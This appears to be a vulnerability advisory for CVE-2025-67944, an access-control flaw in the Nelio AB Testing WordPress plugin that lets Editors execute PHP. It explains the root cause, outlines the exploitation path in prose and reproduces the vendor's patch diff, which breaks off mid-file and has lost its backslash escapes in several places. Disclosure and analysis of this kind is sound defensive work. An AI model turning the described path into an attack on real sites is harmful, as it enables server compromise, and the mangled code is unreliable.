Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-67944: Nelio AB Testing <= 8.1.8 – Authenticated (Editor+) Remote Code Execution (nelio-ab-testing)

Severity High (CVSS 7.2)
CWE 94
Vulnerable Version 8.1.8
Patched Version 8.2.0
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67944:
The Nelio AB Testing WordPress plugin, versions up to and including 8.1.8, contains an improper access control vulnerability in its PHP experiment editing functionality. This flaw allows authenticated users with Editor-level permissions to execute arbitrary PHP code on the server, leading to remote code execution. The vulnerability stems from insufficient capability checks when users attempt to edit or duplicate PHP experiment types.

Atomic Edge research identifies the root cause in the `can_be_edited()` method within the `Nelio_AB_Testing_Experiment` class (nelio-ab-testing/includes/experiments/class-nelio-ab-testing-experiment.php). Before patching, this method only checked for the generic `edit_nab_experiments` capability, regardless of experiment type. PHP experiments require the specific `edit_nab_php_experiments` capability, which the plugin grants only to Administrator-level users. The vulnerable code path allowed Editors with the generic capability to access PHP experiment editing interfaces, including the PHP editor page that executes user-supplied code.

Exploitation requires an authenticated attacker with Editor-level access. The attacker first creates or identifies a PHP experiment type. They then access the experiment editing interface via the `nelio-ab-testing-experiment-edit` admin page with the `experiment` parameter pointing to a PHP experiment ID. Alternatively, they can trigger the duplicate functionality through the experiment list page actions. Both paths bypass the specialized capability check, granting access to the PHP editor where arbitrary code can be injected and executed server-side.

The patch introduces multiple layered fixes. The `maybe_disable_title_link()` function in `class-nelio-ab-testing-experiment-list-page.php` adds a `map_meta_cap` filter that returns `’do_not_allow’` for PHP experiments when users lack the `edit_nab_php_experiments` capability. The `can_be_edited()` method now dynamically selects the appropriate capability based on experiment type. A new `can_be_duplicated()` method enforces the same capability checks for duplication operations. Additional validation in the duplicate handler (`$experiment->can_be_duplicated()`) and edit page (`$experiment->can_be_edited()`) prevents unauthorized access.

Successful exploitation grants attackers full remote code execution on the WordPress server. Attackers can execute arbitrary PHP code with the web server’s privileges, potentially leading to complete system compromise, data exfiltration, backdoor installation, and lateral movement within the hosting environment. The CVSS score of 7.2 reflects the high impact combined with the requirement for Editor-level authentication.

Differential between vulnerable and patched code

Code Diff
--- a/nelio-ab-testing/admin/pages/class-nelio-ab-testing-experiment-list-page.php
+++ b/nelio-ab-testing/admin/pages/class-nelio-ab-testing-experiment-list-page.php
@@ -47,6 +47,7 @@
 		add_filter( 'manage_edit-nab_experiment_sortable_columns', array( $this, 'set_sortable_experiment_columns' ) );
 		add_action( 'manage_nab_experiment_posts_custom_column', array( $this, 'set_experiment_column_values' ), 10, 2 );

+		add_filter( 'map_meta_cap', array( $this, 'maybe_disable_title_link' ), 10, 4 );
 		add_filter( 'post_row_actions', array( $this, 'fix_experiment_list_row_actions' ), 10, 2 );
 		add_filter( 'bulk_actions-edit-nab_experiment', array( $this, 'remove_edit_from_bulk_actions' ) );

@@ -181,6 +182,41 @@
 	}

 	/**
+	 * Callback to disable title link if user can’t edit the test.
+	 *
+	 * This callback was created to account for PHP tests.
+	 *
+	 * @param array<string> $caps    List of capabilities.
+	 * @param string        $cap     Capability.
+	 * @param int           $user_id User ID.
+	 * @param list<mixed>   $args    Arguments.
+	 *
+	 * @return array<string>
+	 */
+	public function maybe_disable_title_link( $caps, $cap, $user_id, $args ) {
+		if ( 'edit_nab_experiments' !== $cap ) {
+			return $caps;
+		}
+
+		if ( current_user_can( 'edit_nab_php_experiments' ) ) {
+			return $caps;
+		}
+
+		$post_id = absint( $args[0] ?? 0 );
+		$type    = get_post_meta( $post_id, '_nab_experiment_type', true );
+		if ( 'nab/php' !== $type ) {
+			return $caps;
+		}
+
+		$status = get_post_status( $post_id );
+		if ( in_array( $status, array( 'nab_running', 'nab_finished' ), true ) ) {
+			return $caps;
+		}
+
+		return array( 'do_not_allow' );
+	}
+
+	/**
 	 * Callback to customize the actions available in each experiment.
 	 *
 	 * @param array<string,string> $actions List of actions.
@@ -248,7 +284,7 @@
 			$actions['pause'] = $this->get_pause_experiment_action( $experiment );
 		}

-		if ( 'trash' !== $experiment->get_status() ) {
+		if ( ! is_wp_error( $experiment->can_be_duplicated() ) ) {
 			$actions['duplicate'] = $this->get_duplicate_experiment_action( $experiment );
 		}

@@ -869,6 +905,11 @@
 					$die( _x( 'You attempted to dupliacte a test that doesn’t exist. Perhaps it was deleted?', 'user', 'nelio-ab-testing' ) );
 				}

+				$can_be_duplicated = $experiment->can_be_duplicated();
+				if ( is_wp_error( $can_be_duplicated ) ) {
+					$die( $can_be_duplicated->get_error_message() );
+				}
+
 				check_admin_referer( 'nab_duplicate_experiment_' . $experiment->get_id() );
 				$experiment->duplicate();

--- a/nelio-ab-testing/admin/pages/class-nelio-ab-testing-experiment-page.php
+++ b/nelio-ab-testing/admin/pages/class-nelio-ab-testing-experiment-page.php
@@ -94,9 +94,9 @@
 			wp_die( esc_html_x( 'Experiment not found', 'text', 'nelio-ab-testing' ) );
 		}

-		$status = $experiment->get_status();
-		if ( in_array( $status, array( 'running', 'finished' ), true ) ) {
-			wp_die( esc_html_x( 'You’re not allowed to view this page.', 'user', 'nelio-ab-testing' ) );
+		$can_be_edited = $experiment->can_be_edited();
+		if ( is_wp_error( $can_be_edited ) ) {
+			wp_die( esc_html( $can_be_edited->get_error_message() ) );
 		}
 	}

--- a/nelio-ab-testing/admin/settings/class-nelio-ab-testing-external-page-script.php
+++ b/nelio-ab-testing/admin/settings/class-nelio-ab-testing-external-page-script.php
@@ -0,0 +1,100 @@
+<?php
+/**
+ * This file contains a viewer for the external page script.
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * This class displays the external page script.
+ */
+class Nelio_AB_Testing_External_Page_Script extends Nelio_AB_Testing_Abstract_React_Setting {
+
+	public function __construct() {
+		parent::__construct( '_external_page_script', 'ExternalPageScriptSetting' );
+	}
+
+	// @Overrides
+	protected function get_field_attributes() {
+		$script   = $this->get_script();
+		$minified = $script;
+		$minified = str_replace( "n", ' ', $minified );
+		$minified = nab_minify_js( $minified );
+		return array(
+			'value'    => $script,
+			'minified' => $minified,
+		);
+	}
+
+	public function set_value( $value ) {
+		// Do nothing.
+	}
+
+	// @Implements
+	public function do_sanitize( $input ) {
+		unset( $input['_external_page_script'] );
+		return $input;
+	}
+
+	// @Overrides
+	public function display() {
+		printf( '<div id="%s"><span class="nab-dynamic-setting-loader"></span></div>', esc_attr( $this->get_field_id() ) );
+		?>
+		<div class="setting-help" style="display:none;">
+			<p><span class="description">
+			<?php
+				echo wp_kses(
+					_x( 'This script loads test variants and tracks events on pages built with external services but still served from your WordPress domain.', 'text', 'nelio-ab-testing' ) .
+						' ' .
+						_x( 'Add it at the very top of the <code>head</code> of the external page as a manual substitute for the script our plugin would normally insert automatically.', 'user', 'nelio-ab-testing' ),
+					array( 'code' => array() )
+				);
+			?>
+			</span><p>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Generates the script.
+	 *
+	 * @return string
+	 */
+	private function get_script() {
+		/** @var WP_Filesystem_Base $wp_filesystem */
+		global $wp_filesystem;
+		if ( ! function_exists( 'WP_Filesystem' ) ) {
+			nab_require_wp_file( '/wp-admin/includes/file.php' );
+		}
+		WP_Filesystem();
+
+		$filename = nelioab()->plugin_path . '/includes/hooks/compat/external-page-script/script.js';
+		$script   = '';
+		if ( file_exists( $filename ) ) {
+			$script = $wp_filesystem->get_contents( $filename );
+			$script = is_string( $script ) ? $script : '';
+		}
+
+		$script = preg_replace( '/t/', '  ', $script );
+		$script = is_string( $script ) ? $script : '';
+		$script = trim( $script );
+
+		/** This filter is documented in includes/utils/functions/helpers.php' */
+		$bgcolor = apply_filters( 'nab_alternative_loading_overlay_color', '#fff' );
+		$bgcolor = is_string( $bgcolor ) ? $bgcolor : '#fff';
+		return sprintf(
+			"<script type="text/javascript" data-overlay-color="%1$s">n%2$sn</script>",
+			esc_attr( $bgcolor ),
+			$script
+		);
+	}
+
+	/**
+	 * Returns the ID of this field.
+	 *
+	 * @return string
+	 */
+	private function get_field_id() {
+		return str_replace( '_', '-', $this->name );
+	}
+}
--- a/nelio-ab-testing/admin/views/nelio-ab-testing-css-editor-page.php
+++ b/nelio-ab-testing/admin/views/nelio-ab-testing-css-editor-page.php
@@ -18,6 +18,7 @@
 		<title><?php echo esc_html_x( 'Nelio A/B Testing - CSS Editor', 'text', 'nelio-ab-testing' ); ?></title>

 		<?php
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		do_action( 'admin_enqueue_scripts' );
 		print_admin_styles();
 		wp_print_head_scripts();
--- a/nelio-ab-testing/admin/views/nelio-ab-testing-experiment-debug.php
+++ b/nelio-ab-testing/admin/views/nelio-ab-testing-experiment-debug.php
@@ -40,8 +40,8 @@
 	<div>
 		<textarea id="experiment-debug-data" readonly style="background:#fcfcfc; border:1px solid grey; width:100%; overflow:auto; height:calc(100vh - 18em ); min-height: 30em; padding:1em; font-family:monospace; white-space:pre;">
 			<?php
-			$aux = Nelio_AB_Testing_Experiment_REST_Controller::instance();
-			echo 'test = ' . wp_json_encode( $aux->json( $experiment ), JSON_PRETTY_PRINT ) . ';';
+			$nab_aux = Nelio_AB_Testing_Experiment_REST_Controller::instance();
+			echo 'test = ' . wp_json_encode( $nab_aux->json( $experiment ), JSON_PRETTY_PRINT ) . ';';
 			?>
 		</textarea>
 	</div>
--- a/nelio-ab-testing/admin/views/nelio-ab-testing-heatmap-page.php
+++ b/nelio-ab-testing/admin/views/nelio-ab-testing-heatmap-page.php
@@ -18,6 +18,7 @@
 		<title><?php echo esc_html_x( 'Nelio A/B Testing - Heatmap Viewer', 'text', 'nelio-ab-testing' ); ?></title>

 		<?php
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		do_action( 'admin_enqueue_scripts' );
 		print_admin_styles();
 		wp_print_head_scripts();
--- a/nelio-ab-testing/admin/views/nelio-ab-testing-javascript-editor-page.php
+++ b/nelio-ab-testing/admin/views/nelio-ab-testing-javascript-editor-page.php
@@ -18,6 +18,7 @@
 		<title><?php echo esc_html_x( 'Nelio A/B Testing - JavaScript Editor', 'text', 'nelio-ab-testing' ); ?></title>

 		<?php
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		do_action( 'admin_enqueue_scripts' );
 		print_admin_styles();
 		wp_print_head_scripts();
--- a/nelio-ab-testing/admin/views/nelio-ab-testing-php-editor-page.php
+++ b/nelio-ab-testing/admin/views/nelio-ab-testing-php-editor-page.php
@@ -18,6 +18,7 @@
 		<title><?php echo esc_html_x( 'Nelio A/B Testing - CSS Editor', 'text', 'nelio-ab-testing' ); ?></title>

 		<?php
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		do_action( 'admin_enqueue_scripts' );
 		print_admin_styles();
 		wp_print_head_scripts();
--- a/nelio-ab-testing/admin/views/nelio-ab-testing-settings-page.php
+++ b/nelio-ab-testing/admin/views/nelio-ab-testing-settings-page.php
@@ -21,9 +21,9 @@

 	<form method="post" action="options.php" class="nab-settings-form">
 		<?php
-			$settings = Nelio_AB_Testing_Settings::instance();
-			settings_fields( $settings->get_option_group() );
-			do_settings_sections( $settings->get_settings_page_name() );
+			$nab_settings = Nelio_AB_Testing_Settings::instance();
+			settings_fields( $nab_settings->get_option_group() );
+			do_settings_sections( $nab_settings->get_settings_page_name() );
 			submit_button();
 		?>
 	</form>
--- a/nelio-ab-testing/assets/dist/js/components.asset.php
+++ b/nelio-ab-testing/assets/dist/js/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-data', 'nab-date', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '6c805c4f310967f33ad8');
+<?php return array('dependencies' => array('lodash', 'nab-data', 'nab-date', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '1e2591d368b759d49243');
--- a/nelio-ab-testing/assets/dist/js/conversion-action-library.asset.php
+++ b/nelio-ab-testing/assets/dist/js/conversion-action-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-warning'), 'version' => '74f20c3c93872660075b');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-warning'), 'version' => '747bfdb058b6477e8fa2');
--- a/nelio-ab-testing/assets/dist/js/css-experiment-admin.asset.php
+++ b/nelio-ab-testing/assets/dist/js/css-experiment-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'ff4274470bd727e79167');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '650b9b8f42a49930ff4c');
--- a/nelio-ab-testing/assets/dist/js/css-experiment-public.asset.php
+++ b/nelio-ab-testing/assets/dist/js/css-experiment-public.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-url'), 'version' => '5aa9ef2c1e14a226da1e');
+<?php return array('dependencies' => array('wp-url'), 'version' => '4420e0657889a52003b1');
--- a/nelio-ab-testing/assets/dist/js/editor.asset.php
+++ b/nelio-ab-testing/assets/dist/js/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'e25c5121c407ccec794b');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '936135518d24f5e3f433');
--- a/nelio-ab-testing/assets/dist/js/experiment-library.asset.php
+++ b/nelio-ab-testing/assets/dist/js/experiment-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-action-library', 'nab-conversion-actions', 'nab-data', 'nab-experiments', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-warning'), 'version' => 'd85614142088cc663882');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-action-library', 'nab-conversion-actions', 'nab-data', 'nab-experiments', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-warning'), 'version' => 'ddecf24d95342eae2a56');
--- a/nelio-ab-testing/assets/dist/js/heatmap-editor.asset.php
+++ b/nelio-ab-testing/assets/dist/js/heatmap-editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-editor', 'nab-experiment-library', 'nab-experiments', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'c03de126c1d325749a0d');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-editor', 'nab-experiment-library', 'nab-experiments', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '7148a4253761ea38d99c');
--- a/nelio-ab-testing/assets/dist/js/heatmap-renderer.asset.php
+++ b/nelio-ab-testing/assets/dist/js/heatmap-renderer.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '89076c378c203c58c90c');
+<?php return array('dependencies' => array(), 'version' => '3c09c5efa076db896d01');
--- a/nelio-ab-testing/assets/dist/js/heatmap-results-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/heatmap-results-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-i18n', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '7828182edb4f0e132008');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-i18n', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'fd214693371de579ad6b');
--- a/nelio-ab-testing/assets/dist/js/individual-settings.asset.php
+++ b/nelio-ab-testing/assets/dist/js/individual-settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '82c0207de88fefb87fb0');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'd2a315d45827c2e9a912');
--- a/nelio-ab-testing/assets/dist/js/public.asset.php
+++ b/nelio-ab-testing/assets/dist/js/public.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f705cb6568d1021556bf');
+<?php return array('dependencies' => array(), 'version' => '664c2f1a462684bce6bc');
--- a/nelio-ab-testing/includes/data/basic-tab.php
+++ b/nelio-ab-testing/includes/data/basic-tab.php
@@ -459,4 +459,24 @@
 		),
 	),

+	array(
+		'type' => 'section',
+		'icon' => 'dashicons-admin-generic',
+		'name' => 'misc',
+		'ui'   => fn() => array(
+			'label' => _x( 'Misc', 'text', 'nelio-ab-testing' ),
+		),
+	),
+
+	array(
+		'type'    => 'custom',
+		'name'    => '_external_page_script',
+		'default' => '',
+		'ui'      => fn() => array(
+			'instance' => new Nelio_AB_Testing_External_Page_Script(),
+			'label'    => _x( 'External Page Script', 'text', 'nelio-ab-testing' ),
+			'desc'     => true,
+		),
+	),
+
 );
--- a/nelio-ab-testing/includes/experiments/class-nelio-ab-testing-experiment-post-type-register.php
+++ b/nelio-ab-testing/includes/experiments/class-nelio-ab-testing-experiment-post-type-register.php
@@ -67,7 +67,7 @@
 	 * @param string $link    the current link.
 	 * @param int    $post_id the post (or experiment) whose edit link we want.
 	 *
-	 * @return string the link we want.
+	 * @return string|false the link we want.
 	 *
 	 * @since  5.0.0
 	 */
@@ -77,19 +77,12 @@
 			return $link;
 		}

-		if ( in_array( get_post_status( $post_id ), array( 'nab_running', 'nab_finished' ), true ) ) {
-			$page = 'nelio-ab-testing-experiment-view';
-		} else {
-			$page = 'nelio-ab-testing-experiment-edit';
+		$experiment = nab_get_experiment( $post_id );
+		if ( is_wp_error( $experiment ) ) {
+			return '';
 		}

-		return add_query_arg(
-			array(
-				'page'       => $page,
-				'experiment' => $post_id,
-			),
-			admin_url( 'admin.php' )
-		);
+		return $experiment->get_url();
 	}

 	/**
--- a/nelio-ab-testing/includes/experiments/class-nelio-ab-testing-experiment.php
+++ b/nelio-ab-testing/includes/experiments/class-nelio-ab-testing-experiment.php
@@ -431,11 +431,14 @@
 	 */
 	public function can_be_edited() {

-		if ( ! current_user_can( 'edit_nab_experiments' ) ) {
+		$edit_capability =
+			'nab/php' === $this->get_type()
+				? 'edit_nab_php_experiments'
+				: 'edit_nab_experiments';
+		if ( ! current_user_can( $edit_capability ) ) {
 			return new WP_Error(
 				'missing-capability',
-				// phpcs:ignore WordPress.WP.I18n.MissingArgDomain
-				__( 'Sorry, you are not allowed to do that.' )
+				_x( 'Sorry, you are not allowed to edit this test.', 'text', 'nelio-ab-testing' )
 			);
 		}

@@ -1742,6 +1745,39 @@
 	}

 	/**
+	 * Returns whether the experiment can be edited or not.
+	 *
+	 * @return true|WP_Error
+	 */
+	public function can_be_duplicated() {
+
+		$edit_capability =
+			'nab/php' === $this->get_type()
+				? 'edit_nab_php_experiments'
+				: 'edit_nab_experiments';
+		if ( ! current_user_can( $edit_capability ) ) {
+			return new WP_Error(
+				'missing-capability',
+				_x( 'Sorry, you are not allowed to duplicate this test.', 'text', 'nelio-ab-testing' )
+			);
+		}
+
+		if ( 'trash' === $this->post->post_status ) {
+			$helper = Nelio_AB_Testing_Experiment_Helper::instance();
+			return new WP_Error(
+				'invalid-experiment-status',
+				sprintf(
+					/* translators: %1$s: Experiment name. */
+					_x( 'Test %1$s can’t be duplicate.', 'text', 'nelio-ab-testing' ),
+					$helper->get_non_empty_name( $this )
+				)
+			);
+		}
+
+		return true;
+	}
+
+	/**
 	 * Duplicates the current experiment.
 	 *
 	 * @return Nelio_AB_Testing_Experiment|WP_Error the new, duplicated experiment.
--- a/nelio-ab-testing/includes/hooks/compat/cache/breeze/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/cache/breeze/index.php
@@ -17,6 +17,7 @@
  * @return void
  */
 function flush_cache() {
+	// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 	do_action( 'breeze_clear_all_cache' );
 }
 add_action( 'nab_flush_all_caches', __NAMESPACE__ . 'flush_cache' );
--- a/nelio-ab-testing/includes/hooks/compat/cache/litespeed/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/cache/litespeed/index.php
@@ -17,6 +17,7 @@
  * @return void
  */
 function flush_cache() {
+	// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 	do_action( 'litespeed_purge_all', 'Nelio A/B Testing' );
 }
 add_action( 'nab_flush_all_caches', __NAMESPACE__ . 'flush_cache' );
--- a/nelio-ab-testing/includes/hooks/compat/cache/wp-super-cache/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/cache/wp-super-cache/index.php
@@ -28,6 +28,7 @@
 	/** @var string */
 	global $supercachedir;
 	if ( empty( $supercachedir ) && function_exists( 'get_supercache_dir' ) ) {
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
 		$supercachedir = get_supercache_dir();
 	}

--- a/nelio-ab-testing/includes/hooks/compat/external-page-script/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/external-page-script/index.php
@@ -0,0 +1,108 @@
+<?php
+/**
+ * This compat file prints sends JSON data with the info needed to run a test on the current page.
+ */
+namespace Nelio_AB_TestingCompatExternal_Page_Script;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Sends JSON data with info needed to run external script if request has the `nab-external-page-script` query arg in it.
+ *
+ * @return void
+ */
+function print_json_for_external_page_script() {
+	// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+	if ( ! isset( $_GET['nab-external-page-script'] ) ) {
+		return;
+	}
+
+	/**
+	 * Runs before wp_enqueue_scripts action during JSON generation for external page scripts.
+	 *
+	 * @since 8.2.0
+	 */
+	do_action( 'nab_external_page_script_before_enqueue_scripts' );
+
+	// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+	do_action( 'wp_enqueue_scripts' );
+
+	/**
+	 * Runs after wp_enqueue_scripts action during JSON generation for external page scripts.
+	 *
+	 * @since 8.2.0
+	 */
+	do_action( 'nab_external_page_script_after_enqueue_scripts' );
+
+	ob_start();
+	wp_print_styles();
+	wp_print_scripts();
+	/**
+	 * Prints additional stuff on the external page’s head.
+	 *
+	 * @since 8.2.0
+	 */
+	do_action( 'nab_external_page_script_print_assets' );
+	$result = ob_get_clean();
+
+	header( 'Content-Type: application/json; charset=utf-8' );
+	echo wp_json_encode( $result );
+	die();
+}
+add_action( 'wp', __NAMESPACE__ . 'print_json_for_external_page_script', 9999 );
+
+/**
+ * Removes unnecessary assets.
+ *
+ * @return void
+ */
+function remove_unnecessary_assets() {
+	// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+	if ( ! isset( $_GET['nab-external-page-script'] ) ) {
+		return;
+	}
+
+	/** @var WP_Scripts */
+	global $wp_scripts;
+
+	wp_add_inline_script( 'nelio-ab-testing-main', 'const nabKeepOverlayInExternalPageScript = true;', 'before' );
+
+	/**
+	 * Filters the scripts that can be added to external pages via Nelio’s external page script.
+	 *
+	 * @param list<string> $scripts Script handles. Default: `array()`.
+	 */
+	$allowed_scripts = apply_filters( 'nab_scripts_to_keep_in_external_pages', array() );
+	foreach ( $wp_scripts->queue as $handle ) {
+		if ( ! is_nab_handle( $handle ) && ! in_array( $handle, $allowed_scripts, true ) ) {
+			wp_dequeue_script( $handle );
+		}
+	}
+
+	/** @var WP_Styles */
+	global $wp_styles;
+
+	/**
+	 * Filters the styles that can be added to external pages via Nelio’s external page script.
+	 *
+	 * @param list<string> $scripts Style handles. Default: `array()`.
+	 */
+	$allowed_styles = apply_filters( 'nab_styles_to_keep_in_external_pages', array() );
+	foreach ( $wp_styles->queue as $handle ) {
+		if ( ! is_nab_handle( $handle ) && ! in_array( $handle, $allowed_styles, true ) ) {
+			wp_dequeue_style( $handle );
+		}
+	}
+}
+add_action( 'wp_enqueue_scripts', __NAMESPACE__ . 'remove_unnecessary_assets', 9999 );
+
+/**
+ * Whether the given handle is a Nelio A/B Testing handle or not.
+ *
+ * @param string $handle Handle.
+ *
+ * @return bool
+ */
+function is_nab_handle( $handle ) {
+	return 0 === strpos( $handle, 'nab-' ) || 0 === strpos( $handle, 'nelio-ab-testing-' ) || strpos( $handle, 'nelioab-' );
+}
--- a/nelio-ab-testing/includes/hooks/compat/fluent-forms/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/fluent-forms/index.php
@@ -74,7 +74,7 @@
 		'thumbnailSrc' => '',
 		'title'        => $form['title'],
 		'type'         => 'nab_fluent_form',
-		'typeLabel'    => _x( 'Forminator Form', 'text', 'nelio-ab-testing' ),
+		'typeLabel'    => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
 		'extra'        => array(),
 	);
 }
@@ -137,8 +137,8 @@
 				'statusLabel'  => '',
 				'thumbnailSrc' => '',
 				'title'        => $form['title'],
-				'type'         => 'nab_formidable_form',
-				'typeLabel'    => _x( 'Formidable Form', 'text', 'nelio-ab-testing' ),
+				'type'         => 'nab_fluent_form',
+				'typeLabel'    => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
 				'extra'        => array(),
 			);
 		},
--- a/nelio-ab-testing/includes/hooks/compat/forminator/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/forminator/index.php
@@ -131,8 +131,8 @@
 				'statusLabel'  => '',
 				'thumbnailSrc' => '',
 				'title'        => $form->settings['formName'],
-				'type'         => 'nab_formidable_form',
-				'typeLabel'    => _x( 'Formidable Form', 'text', 'nelio-ab-testing' ),
